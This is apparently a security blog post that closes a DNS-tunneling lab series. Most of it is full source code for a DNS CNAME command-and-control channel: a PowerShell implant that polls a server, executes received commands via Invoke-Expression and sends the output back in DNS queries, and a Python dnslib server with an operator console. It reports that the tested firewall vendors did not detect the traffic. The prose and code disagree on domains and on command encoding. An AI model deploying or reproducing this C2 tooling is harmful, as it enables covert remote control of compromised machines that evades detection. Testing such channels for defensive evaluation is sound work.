The last part of DNS security scenarios — this time DNS will be used as a command and control (C2) channel. DNS has limitations, which is why using it for data transfer is quite slow and impractical. However, using it for a C2 channel is a completely different story.
My lab scenario
For C2 communications, I’m using CNAME records — normally used for domain aliases. How does the scenario look? The client is constantly polling for the CNAME record of a particular domain. In my scenario, the domain is: poll.sessionid.c2.io. The server does nothing until a command is issued. Once a command is sent, the server responds to the client’s query for the CNAME record with: command-encoded-to-base32.c2.io. Then the client executes the command and sends the response back to the server, again querying for the CNAME records of subdomains: response-encoded-to-base32.c2.io. The response is sent in chunks. The server decodes from Base32 and assembles the chunks.
The client script was written in PowerShell.
$server = "192.168.205.8"
$domain = "c2.nip.io"
$session = -join ((65..90) + (97..122) | Get-Random -Count 6 | % {[char]$_})
Write-Host "[*] DNS CNAME C2 Client started (session: $session)"
function Encode-Base32 {
param([byte[]]$bytes)
$alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
$result = ""
$buffer = 0
$bitsLeft = 0
foreach ($b in $bytes) {
$buffer = ($buffer -shl 8) -bor $b
$bitsLeft += 8
while ($bitsLeft -ge 5) {
$index = ($buffer -shr ($bitsLeft - 5)) -band 31
$result += $alphabet[$index]
$bitsLeft -= 5
}
}
if ($bitsLeft -gt 0) {
$index = ($buffer -shl (5 - $bitsLeft)) -band 31
$result += $alphabet[$index]
}
return $result
}
while ($true) {
Start-Sleep -Seconds 5
$query = "poll.$session.$domain"
try {
$output = nslookup -type=CNAME $query $server | Out-String
if ($output -match "cmd\.([^\s\.]+)\.c2\.test") {
$cmd = $matches[1]
Write-Host "[+] Received command: $cmd"
$result = Invoke-Expression $cmd | Out-String
$bytes = [System.Text.Encoding]::UTF8.GetBytes($result)
$encoded = Encode-Base32 -bytes $bytes
$chunks = ($encoded -split '(.{40})' | Where-Object { $_ -ne "" })
foreach ($chunk in $chunks) {
$q = "res.$session.$chunk.$domain"
nslookup -type=CNAME $q $server | Out-Null
Start-Sleep -Milliseconds 200
}
}
} catch {
Write-Host "[!] Error: $_"
}
}
The server script was written in Python.
import base64
import random
import string
from dnslib.server import DNSServer, BaseResolver
from dnslib import DNSRecord, QTYPE, RR, CNAME
import threading
command_store = {}
result_store = {}
latest_session = [None]
def safe_base32_decode(data):
missing_padding = (8 - len(data) % 8) % 8
data += "=" * missing_padding
return base64.b32decode(data, casefold=True).decode(errors="ignore")
class CNAMEC2Resolver(BaseResolver):
def resolve(self, request, handler):
qname = str(request.q.qname)
qtype = QTYPE[request.q.qtype]
reply = request.reply()
parts = qname.strip('.').split('.')
if len(parts) < 3:
return reply
if parts[0] == "poll":
session = parts[1]
latest_session[0] = session
cmd = command_store.pop(session, None)
if cmd:
cname_val = f"cmd.{cmd}.c2.test"
else:
cname_val = "null.c2.test"
reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(cname_val)))
elif parts[0] == "res" and len(parts) >= 3:
session = parts[1]
chunk = parts[2]
try:
result = safe_base32_decode(chunk)
if session not in result_store:
result_store[session] = ""
result_store[session] += result
latest_session[0] = session
except Exception:
pass
reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME("ok.c2.test")))
return reply
def command_interface():
while True:
cmd = input("> ").strip()
if cmd.startswith("cmd "):
try:
_, command = cmd.split(" ", 1)
session = latest_session[0]
if session:
command_store[session] = command
print(f"[+] Command set")
else:
print("[!] No session detected yet.")
except ValueError:
print("[!] Usage: cmd <command>")
elif cmd == "show":
session = latest_session[0]
if session:
output = result_store.pop(session, "[!] No results yet.")
print(f"[#] Output from {session}:\n{output}")
else:
print("[!] No session detected yet.")
else:
print("[!] Unknown command. Use 'cmd <command>' or 'show'")
if __name__ == "__main__":
resolver = CNAMEC2Resolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start_thread()
print("[*] DNS CNAME C2 Server running on port 53...\n--- DNS C2 Console ---")
command_interface()
See an example of how it works.
Which of the previously tested vendors (Fortinet, Cisco, Palo Alto) is able to detect such C2 communications. Unfortunately, none of them, so this time I do not have any recordings from my lab.
Summary
DNS is a crucial network protocol, but unfortunately, it can be used for malicious purposes as well. I tested different DNS tunneling scenarios such as data infiltration, exfiltration, DGA, and C2. The results were as expected — protection for DNS is quite poor, mainly based on detection of known tools (like iodine, dnscat) and simple domain categorization.
I’m really curious how a dedicated solution for DNS protection, like Infoblox, will behave in such a scenario. I’m planning to test it, but I guess the behavior will be similar. Will see soon…